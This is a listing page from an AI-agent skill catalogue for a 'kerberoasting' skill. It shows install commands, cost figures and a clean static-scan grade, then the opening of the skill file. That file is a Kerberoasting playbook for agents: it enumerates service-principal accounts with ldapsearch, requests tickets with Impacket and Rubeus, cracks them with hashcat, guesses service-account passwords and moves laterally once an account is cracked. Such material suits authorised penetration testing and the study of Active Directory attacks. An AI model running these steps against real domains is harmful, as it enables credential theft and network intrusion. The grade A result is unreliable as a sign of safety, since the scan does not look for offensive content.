Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill kerberoastinggit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/kerberoasting/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/kerberoasting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.01033 |
| Opus 5 | $0.00015 | $0.00517 |
| Sonnet 5 | $0.00006 | $0.00207 |
| Haiku 4.5 | $0.00003 | $0.00103 |
Grade A, and why
kerberoasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
97% identical to kerberoasting — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 96 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kerberoasting Playbook
Prerequisite
Any valid domain user. No special privileges required.
1. Identify roastable accounts
From BloodHound ingest:
kg_query(kind="user", filter="hasspn=true and enabled=true")
Or LDAP-direct:
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName > /tmp/spns.txt
2. Request TGS tickets
Impacket (most reliable):
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-outputfile /tmp/kerb.hashes
Rubeus (from Windows beachhead):
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap
Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If
forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….
3. Crack offline
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt
# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
--rules-file /usr/share/hashcat/rules/d3ad0ne.rule
Service-account heuristics: 60-70% of kerberoasted accounts use:
- ServiceName + season + year (e.g.
SQLSvc2024!,IISWinter25) - App name + 4-digit numbers
- Default install passwords (Veeam, SCCM, Splunk admins)
- Custom dict from OSINT (company name, products, projects)
4. Promote cracked credential
kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")
5. Post-crack actions
Whatever the service account can reach is now yours:
- Run BloodHound as the new cred → re-ingest
- Often these accounts have AdminTo on the box hosting the service
- Sometimes they're members of Tier-0 groups (yes, really)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 96 lines · 30 tokens per session scan A 4a9c233b6b1e
kerberoasting is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,033 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 97% identical to kerberoasting, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-4.3
Ensure AWS Config is enabled in all regions.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.